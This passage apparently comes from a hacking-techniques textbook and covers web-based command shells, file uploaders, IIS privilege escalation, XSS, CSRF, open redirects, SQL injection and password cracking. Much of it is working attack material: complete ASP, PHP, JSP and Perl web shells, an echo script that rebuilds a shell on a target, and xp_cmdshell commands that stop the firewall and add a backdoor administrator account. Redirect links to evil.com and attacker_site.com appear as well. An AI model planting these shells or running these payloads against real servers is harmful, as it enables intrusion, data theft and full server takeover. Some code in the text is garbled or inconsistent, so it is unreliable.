if($in{'cmd'} ne "") { print "<PRE>\n$in{'cmd'}\n\n"; print `/bin/bash -c "$in{'cmd'}"`; print "</PRE>\n"; }

ASP - cmdasp.asp

The following ASP script is a web based command prompt for Windows servers running IIS. cmdasp.asp is a modified version of the original script written by Maceo - maceo(at)dogmile.com

<% Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If

Page 160: Hacker techniques, exploit and incident handling

159 | P a g e

%> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="Run"> </FORM> <PRE> <% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %> </PRE>

The advantage of this script over other ASP based command prompt scripts is the fact that no COM components are required to be registered for executing shell commands. No administrator privileges are required either.

Page 161: Hacker techniques, exploit and incident handling

160 | P a g e

PHP - sys.php

Creating a web based shell with PHP is very simple. The following script illustrates a web based shell in PHP:

<FORM ACTION="sys.php" METHOD=POST> Command: <INPUT TYPE=TEXT NAME=cmd> <INPUT TYPE=SUBMIT VALUE="Run"> <FORM> <PRE> <?php if(isset($cmd)) { system($cmd); } ?> <PRE>

JSP - cmdexec.jsp

The following JSP code is a web based command prompt for J2EE application servers supporting Java Server Pages.

<FORM METHOD=GET ACTION='cmdexec.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s; } }

Page 162: Hacker techniques, exploit and incident handling

161 | P a g e

catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre>

Any web application programming language, which allows native OS commands to be run, can be used to create a web based command prompt.

Installing the Web based command prompt

Using remote command execution, we can run commands such as "echo" and redirect the output into a file. Using multiple "echo" commands, we can create a file, one line at a time, on the remote web server. The only pre-requisite here is that we need a writeable directory on the target web server.

create_cmdasp.bat The following is a set of commands that can be executed on a Windows DOS prompt to recreate the file

cmdasp.asp as shown in section 4.0.2:

echo ^<^% > cmdasp.asp echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^") >> cmdasp.asp echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True) >> cmdasp.asp echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp echo End If >> cmdasp.asp echo ^%^> >> cmdasp.asp echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^> >> cmdasp.asp echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.asp echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp echo ^</FORM^> >> cmdasp.asp echo ^<PRE^> >> cmdasp.asp echo ^<^% >> cmdasp.asp echo If (IsObject(oFile)) Then >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp echo oFile.Close >> cmdasp.asp echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp echo End If >> cmdasp.asp

Page 163: Hacker techniques, exploit and incident handling

162 | P a g e

echo ^%^> >> cmdasp.asp echo ^<^/PRE^> >> cmdasp.asp

The above commands can be run through a script such as post_cmd.pl to create the file "cmdasp.asp" on the target web server. In the same manner, any arbitrary text file can be re-created on the server, using commands such as "echo". Shell meta-characters such as &, ", <, >, |, %, etc. should be properly escaped with the appropriate escape character. On most Unix shells, the escape character is "\", and on the Windows command shell, the escape character is "^". (Thanks to Brian Lewis for pointing this out to me!)

Other web based command prompts can be re-created on target web servers in the same manner.

Re-creating arbitrary binary files

On shells like the Unix Bourne shell, it is possible to use the "echo" command to write arbitrary characters to a file, using the "\xHH" format, where HH stands for a two digit hexadecimal value. A binary file can be represented by a string of two digit hexadecimal numbers such as:

echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file

It is also possible to re-create arbitrary binary files on Windows, even though CMD.EXE cannot write arbitrary characters. The trick lies in using DEBUG.EXE in scripted or non-interactive mode to create arbitrary binary files.

File uploader In addition to being able to run commands on the target web server, an attacker would also be interested in transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not work since the firewall would prevent all these. To get around this obstacle, we need to create a file uploader. The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option, though.

It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file get sent to the server in an HTTP POST request. On the server, an upload script receives these contents and saves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scope of this document.

To perform file uploads, we would require a directory where the web server process (nobody, IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files.

Given below are three examples of such upload scripts:

ASP - upload.asp and upload.inc

The following two files contain code to receive HTTP POST Multipart-MIME data and save it to a file. ASP does not contain built-in routines to decode Multipart-MIME encoded data, hence a supplementary file upload.inc containing the appropriate routines is required.

upload.asp

<form method=post ENCTYPE="multipart/form-data">

Page 164: Hacker techniques, exploit and incident handling

163 | P a g e

<input type=file name="File1"> <input type="submit" Name="Action" value="Upload"> </form> <hr> <!--#INCLUDE FILE="upload.inc"--> <% If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Set Fields = GetUpload() If Fields("File1").FileName <> "" Then Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName Response.Write("<LI>Upload: " & Fields("File1").FileName) End If End If %>

The source code of the associated file upload.inc can be found here

Perl - upload.cgi

Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how:

#!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n"; print "File path: <input type=file name=upfile>\n";

Page 165: Hacker techniques, exploit and incident handling

164 | P a g e

print "<input type=submit value=upload></form>\n"; &ReadParse;

PHP - upload.php

Creating an uploader with PHP is just as simple.

<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000"> <input type="File" name="userfile" size="30"> <INPUT TYPE="submit" VALUE="upload"> </FORM> <?php if($userfile_name != "") { copy("$userfile", "./$userfile_name") or die("Couldnt copy file"); echo "File name: $userfile_name<br>\n"; echo "File size: $userfile_size bytes<br>\n"; echo "File type: $userfile_type<br>\n"; } ?>

Once we have both command execution and file upload facilities over HTTP, we can do pretty

much whatever we please with the target web server. It would be possible to:

Discover source code and configuration files on the web server,

discover the internal network (if any) that the target web server lies on,

upload attack tools on the web server and execute them,

... and much more

An obvious next step is to attempt to escalate privileges, since we are bound by the privileges

extended to us by the web server process. The next section discusses just that.

Page 166: Hacker techniques, exploit and incident handling

165 | P a g e

One-Way Privilege Escalation Web based command prompts; inherit the privileges of the process under which they are

running. Usually, these privileges are restricted user level privileges, unless the web server

process is running with elevated privileges. A few application servers, which plug-in to the front

end web server, run with elevated privileges. To take the attack deeper, in most cases, one

would need some sort of privilege escalation, after installing a web based command prompt and

an HTTP file uploader.

Privilege escalation attacks are nothing unique. There are many exploits for various operating

systems which result in escalating the privileges to either the super user, or to a more privileged

user. Most privilege escalation attacks can be adapted to the one-way attack technique.

A detailed discussion of privilege escalation attacks is not within the scope of this paper. We

shall discuss two examples of privilege escalation attacks, "Microsoft IIS 5.0 In-Process Table

Privilege Elevation Vulnerability" for the Windows and IIS platform, and the "Linux Ptrace/Setuid

Exec Vulnerability" for the Linux and Apache platform.

Care must be taken that the privilege escalation exploit runs non-interactively, i.e. it should not

require an interactive shell, an interactive terminal, a GUI console, etc. For this example, we had

to modify the Linux ptrace exploit to adapt it for one-way use.

Windows/IIS privilege escalation

Let us take the case of www1.example.com, which is a Windows 2000 server running IIS 5.0. We

shall assume that is has already been compromised, and a file uploader script upload.asp as

shown in section is present on this server.

Uploading the Windows attack tools

We shall now upload a web based command prompt - cmdasp.asp, as explained in section and

two more binaries - idq.dll and pwdump.exe. idq.dll is a privilege escalation exploit which takes

advantage of the Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability. Upon

invocation, it adds the IUSR_machinename and IWAM_machinename accounts to the

Administrators group, thereby giving administrative privileges to all the processes and

applications run under the IIS process, including the web based command prompt. pwdump.exe

is a binary to dump the password hashes, and requires administrative privileges to run.

The screenshot below shows these three binaries being uploaded on www1.example.com.

Page 167: Hacker techniques, exploit and incident handling

166 | P a g e

We can check whether the files have been successfully uploaded using cmdasp.asp and running

the "dir" command, as shown below:

Page 168: Hacker techniques, exploit and incident handling

167 | P a g e

We shall now check the members of the Administrators group, by issuing the command "net

localgroup administrators" as shown below:

The only member of the Administrators group is the Administrator user.

6.1.2 Idq.dll - privilege escalation

The next step is to attempt to invoke idq.dll, to escalate the privileges of the

IUSR_machinename and IWAM_machinename accounts. The process is very simple; The

following URL has to be accessed on the web server. No results are displayed, otherwise:

Instead, the connection times out after a while. This indicates that the attack has most likely succeeded.

To verify if the attack has indeed succeeded, we shall now check the members of the

Administrators group again, as shown below:

Page 169: Hacker techniques, exploit and incident handling

168 | P a g e

The IUSR_W2KVM and IWAM_W2KVM accounts are now members of the Administrators group.

Therefore all commands executed via cmdasp.asp assume administrative privileges, as is

demonstrated by running the pwdump.exe binary, shown below:

We now have full administrative control of www1.example.com

Page 170: Hacker techniques, exploit and incident handling

169 | P a g e

Web Application Vulnerabilities Web Application Setup

XSS – Cross-Site-Scripting

Introduction

• XSS is a vulnerability which exists on the server side, but poses a risk only for the

server’s clients

• The “attack” occurs when a web server replies the user with the exact raw data received

from the user at a certain point in time.

Reflected XSS (Type I)

• In order to exploit the vulnerability:

– the attacker supplies the user with a link

– once clicked, the user sends data to the server

– the server replies it

– the browser executes it

• The attacker may send malicious JS code that will execute in the context of the given

site.

• This code is able to:

– Exploit the browser

– Steal cookies

– Perform GET and POST requests using the user`s credentials

– Perform content spoofing attacks

– Deface the site

Page 171: Hacker techniques, exploit and incident handling

170 | P a g e

Permanent (Stored) XSS

• Another vector of this attack is called “Stored XSS”, unlike the previous vector. In this attack there is no need to navigate the user to a specially crafted URL.

• This attack requires the attacker to find a permanent place within the application that can store his code, for example:

blog`s comments

user`s profile settings

Etc…

DOM XSS

XSS-Shell

• XSS-Shell is an attack platform designed to be launched from an XSS vector.

• The usage of this platform is as following:

The attacker sends the user a link referring to a vulnerable site

Upon clicking this link the client`s browser runs the JS code of the XSS-Shell platform

This code hijacks the browser and starts receiving commands from the server

The attacker can send new commands that will be evaluated in the client`s browser as long as this attack is active

Page 172: Hacker techniques, exploit and incident handling

171 | P a g e

The client can stop the attack in two ways:

Manually navigate to the different site using the navigation bar

Closing the browser completely

XSS Worms

• In the age of social networks and mash web sites, a single XSS attack in a major site can

be turned into an army of computers, just waiting for commands from the attacker.

• Using the power of JS code there is even no need to try and exploit the browser. Most

uses of Bot-nets today are D.O.S and SPAM attacks.

The Future of SPAM

• While SPAM attacks are still hard to launch using JS, there are several ways attackers

use to achieve this goal.

• Mime injections is an uprising attack that allows an attacker to inject text into the mime

headers of an outgoing mail and change the values of those headers before being sent.

• The vulnerability is mostly common in “Contact Us” forms which lack input validation on

fields such as:

– From

– To

– Subject

– Date and so on…

• Correct usage of this vulnerability will allow the attacker to craft their own email and

send it to their victims using the vulnerable third party site.

• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the

sender’s domain.

• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to

produce a SPAM network with no Trojan Horses or any kind of backdoor tools.

• Correct usage of this vulnerability will allow the attacker to craft their own email and

send it to their victims using the vulnerable third party site.

Page 173: Hacker techniques, exploit and incident handling

172 | P a g e

• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the

sender’s domain.

• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to

produce a SPAM network with no Trojan Horses or any kind of backdoor tools.

D.o.S attacks

• D.o.S attacks are fairly easy to deploy.

• Consider a XSS worm on Facebook.com

• Every user that logs in will get a command from the server.

• This command will cause the browser to send a Post request to CNN.com

• Considering the amount of users Facebook has simultaneously, CNN will be down within

a few minutes.

Page 174: Hacker techniques, exploit and incident handling

173 | P a g e

Information Gathering

Beyond malicious attacks on third party sites, the attacker may use their worm to gather

sensitive information from their victims

• The attacker can harvest the following details using the XSS alone:

– Password (using a perfect phishing attack) – Name – Age – Email – Friend list (that will also be attacked to become future victims)

Automated exploiting bots

Another usage of an XSS worm is to automatically scan and exploit other vulnerabilities. In order

to achieve this goal the attacker needs to exploit one of the victim`s browser and execute a

backdoor that will act as the server. The server will then be used by all the other victims or,

“Fetchers”. The Fetchers will send a request to the server asking for a new list to attack. The

server will then use Google or any other search engine to get a list of sites that suit the attack

and return it to the fetcher. The fetcher now asks the server for the content of a certain site on

the list. Once the value returns, the fetcher parse out the inner link from this page. This is where

the user starts to actively participate in the attack:

• The worm’s JavaScript code running on each user’s machine blindly sends a generic

attack request/string/code to the targets/links retrieved by the fetcher with known

vulnerabilities such as SQL Injections.

• For each pattern found, the fetcher tries to exploit the machine using preset values.

Page 175: Hacker techniques, exploit and incident handling

174 | P a g e

• Successful exploitations will cause the attacked machine to report itself to the attacker

thus entering to the attack circle.

• This may have a low ratio of success but when talking about an XSS Worm in the

sufficient magnitude and considering the fact that this process is fully automatic the

result is highly satisfying for the attacker

• The fetcher checks for patterns on those links for known vulnerabilities such as SQL

Injections.

• For each pattern found, the fetcher tries to exploit the machine using preset values.

• Successful exploitations will cause the attacked machine to report itself to the attacker

thus entering to the attack circle.

• This may have a low ratio of success but when talking about an XSS Worm in the

sufficient magnitude and considering the fact that this process is fully automatic the

result is highly satisfying for the attacker

Malware Script Detector

• Malware Script Detector

(MSD)

http://userscripts.org/scripts/show/30284

• Coded mainly to detect today’s popular powerfully malicious JavaScript attack

frameworks: XSS-Proxy, XSS-Shell, AttackAPI, BeEF

• Version 2 was enhanced to prevent most XSS threats and includes XSS Attack Blacklists

based on Firefox XSS-Warning add-on

Cross Site Request Forgery (CSRF/XSRF/Session Riding)

Introduction

Cross Site Request Forgery (CSRF) is a client side attack that takes advantage of insecure web

applications. In order to understand this vulnerability let’s take a simple example, a website that

has:

• A user management section with a “remember me” cookie.

• The site has a *simple Change Password form.

Page 176: Hacker techniques, exploit and incident handling

175 | P a g e

The risks and common uses

• The form has one input, the new desired password.

• The attacker also discovered XSS vulnerability in a high traffic third party site.

• The attacker can use this XSS and cause the victim to generate a post to the original

form on the first site.

• The browser will then send an HTTP POST request to the first server, it will automatically

include the cookie that it had saved and the password will change as the attacker

desired.

Page 177: Hacker techniques, exploit and incident handling

176 | P a g e

• The attacker can make the user post any form (rather GET or POST method) without the

user having any way of controlling the event or even knowing it is happening (without

the use of sniffing or analysis tools).

• Most attackers choose the obvious forms to exploit:

• Password change

• Password reminder question change

• Email change

• Money transfer

Tokens vs. Personal Information as a solution for CSRF

• Tokens work in the following way:

– The user requests a page.

– The server generates a random token and appends it as a hidden field to the form.

– The user fills out the form and submits it back to the server.

– The server can now compare the token it has saved and the one received by the user

in order to verify the submit process was legitimate.

• Personal Information is used to validate the request is legitimate and human generated.

Page 178: Hacker techniques, exploit and incident handling

177 | P a g e

• Two ways are generally used in this method:

– Old password

– Security question

• The problem with this method of action is that it is not 100% secure, personal

information can be found out by the attacker and then the security mechanism has no

meaning.

• Combining both methods and adding a CAPTCHA mechanism is the best way to defend

against this type of attacks.

Open/Un-Validated Site Redirection / Cross Domain Redirect

In order to understand Open Site Redirection, we will explore the vulnerability found on the

WordPress blogging platform. In WordPress, there is a login redirect feature that can be abused

for phishing purposes. The parameter ‘redirect_to’ usually contains the relative URL to where

the user is redirected AFTER logging in successfully.

i.e.: /wordpress/wp-admin/index.php

However, such parameter also allows absolute URLs that point to a domain different to the one

where the legitimate WordPress login page is hosted.

i.e.: http://legitimate.com/wordpress/wp-login.php?redirect_to=http://evil.com

or

http://legitimate.com/wordpress/wp-

login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d

(Evil domain name is hex-encoded for obfuscation purposes) where ‘http://evil.com’ would be a

malicious site hosting a spoof WordPress login page.

Attack scenario:

1. Attacker launches a phishing attack against the victim using the following URL:

http://legitimate.com/wordpress/wp-

login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d

2. Victim logs in successfully

Page 179: Hacker techniques, exploit and incident handling

178 | P a g e

3. Victim is redirected to evil.com where there is a spoof WordPress login page that looks like

the original. Such login page returns an authentication error message like the following:

“ERROR: Invalid username.”

4. Victim thinks he/she entered the wrong username and re-enters username and password

again

5. Credentials are now logged by the attacker

• Many sites today use redirections and forwards to third party sites.

• Each non-validated redirection or forward to third party sites are potentially an attack

vector waiting to be exploited.

• There are a few risks when talking about non-validated referrals.

Common uses and Risks

• The number one use of this non-validated feature will be to implement an XSS attack on

a third party site.

• This XSS cannot affect the referring site, it still uses that site`s credibility to unleash the

attack.

• For example, the following link bypasses the Facebook redirect checks:

• Or coded to the more practical way:

http://www.facebook.com/l.php?u=http://attacker_site.com&h=781d3

Page 180: Hacker techniques, exploit and incident handling

179 | P a g e

• In a more discreet way:

• Another vector of attack is Content Spoofing.

• If the attacker can control the content of a frame inside a major news web server, they

could then create false posts of information that will endanger the credibility of the site

in addition to the profit generated to the attacker.

Validating Redirects and Forwards

• The application must validate the URL before forwarding the user thus assuring the link

is safe.

• In case the application cannot validate the URL it should prompt the user of the

redirection before forwarding it.

http://www.facebook.com/l.php?u=%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%5f%73%69%74%65%2e%63%6f%6d&h=781d3

Page 181: Hacker techniques, exploit and incident handling

180 | P a g e

SQL-injection - What is SQL Injection?

Introduction

• SQL Injection is a vulnerability which exists on the server side and poses a risk to the

Database server of the application.

• The attack occurs when a web server passes the exact raw data received from the user

to the Database server.

• In order to exploit the vulnerability:

– The attacker must identify an input to the application that is involved in a database

query

– Once found, the attacker can manipulate this argument in order to change the

nature of the original query

• The following VB code generates a SQL statement using a parameter from the user

• In case the value is in the correct template, the application will work as planned

• On the other hand, the following input will completely change the nature of this query:

1’ or ‘1’=‘1

• The statement will appear as following:

• The outcome of the last statement will always result in the value: “true”.

• An attacker does the same manipulation in the login SQL statement.

• By making sure the statement will always result in “true”, the attacker is able to

instantly log in to the system.

Dim SSN as String Dim SqlQuery as String SSN = Request.QueryString(“ID") SqlQuery = "SELECT lname, fname FROM users WHERE id = '" + ID + "'"

Select lname, fname FROM users WHERE id=‘1’

Select lname, fname FROM users WHERE id=‘1’ or ‘1’=‘1’

Page 182: Hacker techniques, exploit and incident handling

181 | P a g e

• In addition to login credentials the attacker can also go after the information within the

Database itself, for example Credit Cards.

• The attacker can use several vectors when trying to read data from the SQL server.

The Practice

Error Based SQL Injection

• When comparing columns of different types, the SQL server throws an exception.

• in this exception it explains exactly why the statement failed, for example:

– the attacker can compare the value of the @@version parameter, which is string, to

an integer value

– The server in response will say the value of @@version (and the value itself!) cannot

be treated as an integer.

Union Based SQL Injection

• In case the server does not output errors or if the attacker would like a faster way to get

the data out of the server the SQL Union statement comes to hand

• The following query will act as the test case:

• the attacker can control the value of user_id and may manipulate the query as

following:

select name from users where user_id=‘100’

Page 183: Hacker techniques, exploit and incident handling

182 | P a g e

• Instead of the name of the current user logged in, the application will output the

password of the admin user.

Taking Over the Machine

• An attacker can do more than just read, insert and modify records into the Database.

• With the right permissions, an attacker is able to run binary code on the actual server

running the SQL engine.

• For example, in MSSQL the procedure xp_cmdshell can be used to run the code it gets

as a parameter with the permissions of the user running the SQL Server (SYSTEM).

• In SQL Server 2005 the function was disabled for security issues, but of course Microsoft

left a Reconfigure function that can turn it back on.

• The SQL query will look as following:

Enable Remote Command Execution:

Disable Windows Firewall:

Add an Administrative RDP Authorized User Account:

select name from users where user_id=‘-1’ union all select password from users where user_name=‘admin’

‘; exec master..sp_addextendedproc “xp_cmdshell”, “C:\Program Files\Microsoft SQL server\MSSQL\Binn\xplog70.dll”; exec master..sp_configure “show advanced options”, 1; RECONFIGURE; exec master..sp_configure 'xp_cmdshell',1; RECONFIGURE; exec master. xp_cmdshell ‘cmd.exe /c dir c:\\’;

exec master. xp_cmdshell ‘NET STOP “Windows Firewall”’; exec master. xp_cmdshell ‘NET STOP “Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS)”’; exec master. xp_cmdshell ‘NET STOP “Windows Firewall/Internet Connection Sharing (ICS)”’;

exec master. xp_cmdshell ‘net user hackeruser hackerpass /add’; exec master. xp_cmdshell ‘net localgroup administrators hackeruser /add’; exec master. xp_cmdshell ‘net localgroup “Remote Desktop Users” hackeruser /add’;

Page 184: Hacker techniques, exploit and incident handling

183 | P a g e

• Once the attacker has control over the machine they can then use it as a “Bot” in order

to automatically exploit other vulnerable sites.

SQL injection as a lead to other vulnerabilities

• Once the attacker has control over the Database server they can with great ease

manipulate the system and create additional security holes.

• For example, the attacker can change data in the SQL Server to bypass all of the input

validations against XSS attacks.

• This is why the application must always filter the input it gets, and should not consider

certain sources as safe.

SQL injection Automated tools

• There are a few key applications that make the usage of SQL injections practically

automated.

• The number one application will be Pangolin.

• Pangolin is designed to extract data from almost every type of SQL server:

– MSSQL – MySQL

– Oracle

– DB2 and more…

• In addition to data extraction Pangolin has the ability to:

– Execute code on the remote machine – Write files to the remote host

– Directory and file manager

– Registry editor

– Custom SQL statements and more…

Pangolin:

Page 185: Hacker techniques, exploit and incident handling

184 | P a g e

SQLMap – Automated SQL Injection:

Page 186: Hacker techniques, exploit and incident handling

185 | P a g e

SQL injection Prevention

• Just like with XSS, there are plugins that attempt to prevent these attacks, along with

many WAF products in the market.

• The problem with these products remains the same; it cannot be a single line of

defense. These products get broken.

• The application must have a filtering module that prevents these attacks on its own. In

the case of SQL Injection the most important part is to encode the parameter before

sending it to the SQL Server so that characters like [‘] will have no effect.

• A common problem is the parameters that are not bound by quotes, like integers, these

parameters must be validated as an integer before sent further on in the application.

• Another vector of prevention is the use of parameterized queries inside stored

procedures.

• This way the variables cannot be treated as SQL CODE but only as values of those

variables.

• Once this is done, no matter what the attacker sends as an input, it could never be

parsed as a part of the SQL statement.

• To add another layer of security, it is recommended to break down the stored

procedures into smaller units of code, each with its own permissions, to avoid a scenario

of one stored procedure having both read and write permissions.

• In addition, the parameters should be sanitized inside the stored procedures as a last

line of defense.

Page 187: Hacker techniques, exploit and incident handling

186 | P a g e

Web-Based Password Cracking Techniques

Authentication – Definition

If you invited me to try and crack your password, you know the one that you use over and over

for like every web page you visit, how many guesses would it take before I got it?

Let’s see… here is my top 10 list. I can obtain most of this information much easier than you

think, and then I might just be able to get into your e-mail, computer, or online banking. After

all, if I get into one I’ll probably get into all of them.

1. Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always

making you use a number, aren’t they?)

2. The last 4 digits of your social security number.

3. 123 or 1234 or 123456.

4. “password”

5. Your city, or college, football team name.

6. Date of birth – yours, your partner’s or your child’s.

7. “god”

8. “letmein”

9. “money”

10. “love”

Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’t

get it yet it will probably only take a few more minutes before I do…

Hackers and I’m not talking about the ethical kind, have developed a whole range of tools to get

at your personal data. And the main impediment standing between your information remaining

safe, or leaking out, is the password you choose. (Ironically, the best protection people have is

usually the one they take least seriously.)

One of the simplest ways to gain access to your information is through the use of a Brute Force

Attack. This is accomplished when a hacker uses a specially written piece of software to attempt

to log into a site using your credentials. Insecure.org has a list of the Top 10 FREE Password

Crackers right here.

So, how would one use this process to actually breach your personal security? Simple, Follow my

logic:

▪ You probably use the same password for lots of stuff right?

▪ Some sites you access such as your Bank or work VPN probably have pretty decent security,

so I’m not going to attack them.

Page 188: Hacker techniques, exploit and incident handling

187 | P a g e

▪ However, other sites like the Hallmark e-mail greeting cards site, an online forum you

frequent, or an e-commerce site you’ve shopped at might not be as well prepared. So those

are the ones I’d work on.

▪ So, all we have to do now is unleash Brutus, wwwhack, or THC Hydra on their server with

instructions to try say 10,000 (or 100,000 – whatever makes you happy) different

usernames and passwords as fast as possible.

▪ Once we’ve got several login + password pairings we can then go back and test them on

targeted sites.

▪ But wait… How do I know which bank you use and what your login ID is for the sites you

frequent? All those cookies are simply stored, unencrypted and nicely named, in your Web

browser’s cache. (Read this post to remedy that problem.)

And how fast could this is done? Well, that depends on three main things, the length and

complexity of your password, the speed of the hacker’s computer, and the speed of the hacker’s

Internet connection.

Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amount

of time it would take to generate every possible combination of passwords for a given number

of characters. After generating the list it’s just a matter of time before the computer runs

through all the possibilities – or gets shut down trying.

Pay particular attention to the difference between using only lowercase characters and using all

possible characters (uppercase, lowercase, and special characters – like @#$%^&*). Adding just

one capital letter and one asterisk would change the processing time for an 8 character

password from 2.4 days to 2.1 centuries.

Password Length All Characters Only Lowercase

3 characters

4 characters

5 characters

6 characters

7 characters

8 characters

9 characters

10 characters

11 characters

12 characters

13 characters

14 characters

0.86 seconds

1.36 minutes

2.15 hours

8.51 days

2.21 years

2.10 centuries

20 millennia

1,899 millennia

180,365 millennia

17,184,705 millennia

1,627,797,068 millennia

154,640,721,434 millennia

0.02 seconds

.046 seconds

11.9 seconds

5.15 minutes

2.23 hours

2.42 days

2.07 months

4.48 years

1.16 centuries

3.03 millennia

78.7 millennia

2,046 millennia

Page 189: Hacker techniques, exploit and incident handling

188 | P a g e

Remember, these are just for an average computer, and these assume you aren’t using any

word in the dictionary. If Google put their computer to work on it they’d finish about 1,000

times faster.

SensePost CrowBar

Page 190: Hacker techniques, exploit and incident handling

189 | P a g e

SecuriBox Sentri 2.0

Page 191: Hacker techniques, exploit and incident handling

190 | P a g e

OWASP WebSlayer

Page 192: Hacker techniques, exploit and incident handling

191 | P a g e

xHydra (BackTrack 3/4 - GTK)

Page 193: Hacker techniques, exploit and incident handling

192 | P a g e

Page 194: Hacker techniques, exploit and incident handling

193 | P a g e

Hacking Wireless Networks

This article describes IEEE 802.11-specific hacking techniques that attackers have used, and

suggests various defensive measures. We describe sniffing, spoofing and probing in the context

of wireless networks. We describe how SSIDs can be determined, how a sufficiently large

number of frames can be collected so that WEP can be cracked. We show how easy it is to

cause denial-of-service through jamming and through forged disassociations and de-

authentications. We also explain three man-in-the-middle attacks using wireless networks. We

give a list of selected open-source tools. We summarize the activity known as war driving. We

conclude the article with several recommendations that will help improve security at a wireless

deployment site.

Introduction

Wireless networks broadcast their packets using radio frequency or optical wavelengths. A

modern laptop computer can listen in. Worse, an attacker can manufacture new packets on the

fly and persuade wireless stations to accept his packets as legitimate.

We use the term hacking as described below.

hacker n. [originally, someone who makes furniture with an axe] 1. A person who enjoys

exploring the details of programmable systems and how to stretch their capabilities, as opposed

to most users, who prefer to learn only the minimum necessary. 2. One who programs

enthusiastically (even obsessively) or who enjoys programming rather than just theorizing about

programming. 3. A person capable of appreciating hack value. 4. A person who is good at

programming quickly. 5. An expert at a particular program, or one who frequently does work

using it or on it; as in `a Unix hacker'. (Definitions 1 through 5 are correlated, and people who fit

them congregate.) 6. An expert or enthusiast of any kind. One might be an astronomy hacker,

for example. 7. One who enjoys the intellectual challenge of creatively overcoming or

circumventing limitations. 8. A malicious meddler who tries to discover sensitive information by

poking around. Hence `password hacker', `network hacker'. The correct term for this sense is

cracker.

Wireless LAN Overview

IEEE 802.11 refers to a family of specifications (www.ieee802.org/11/) developed by the IEEE for

over-the-air interface between a wireless client and an AP or between two wireless clients. To

be called 802.11 devices, they must conform to the Medium Access Control (MAC) and Physical

Layer specifications. The IEEE 802.11 standard covers the Physical (Layer 1) and Data Link (Layer

2) layers of the OSI Model. In this article, we are mainly concerned with the MAC layer and not

the variations of the physical layer known as 802.11a/b/g.

Page 195: Hacker techniques, exploit and incident handling

194 | P a g e

Stations and Access Points

A wireless network interface card (adapter) is a device, called a station, providing the network

physical layer over a radio link to another station. An access point (AP) is a station that provides

frame distribution service to stations associated with it. The AP itself is typically connected by

wire to a LAN.

The station and AP each contain a network interface that has a Media Access Control (MAC)

address, just as wired network cards do. This address is a world-wide-unique 48-bit number,

assigned to it at the time of manufacture. The 48-bit address is often represented as a string of

six octets separated by colons (e.g., 00:02:2D:17:B9:E8) or hyphens (e.g., 00-02-2D-17-B9-

E8). While the MAC address as assigned by the manufacturer is printed on the device, the

address can be changed in software.

Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a

network name. The SSID is used to segment the airwaves for usage. If two wireless networks

are physically close, the SSIDs label the respective networks, and allow the components of one

network to ignore those of the other. SSIDs can also be mapped to virtual LANs; thus, some APs

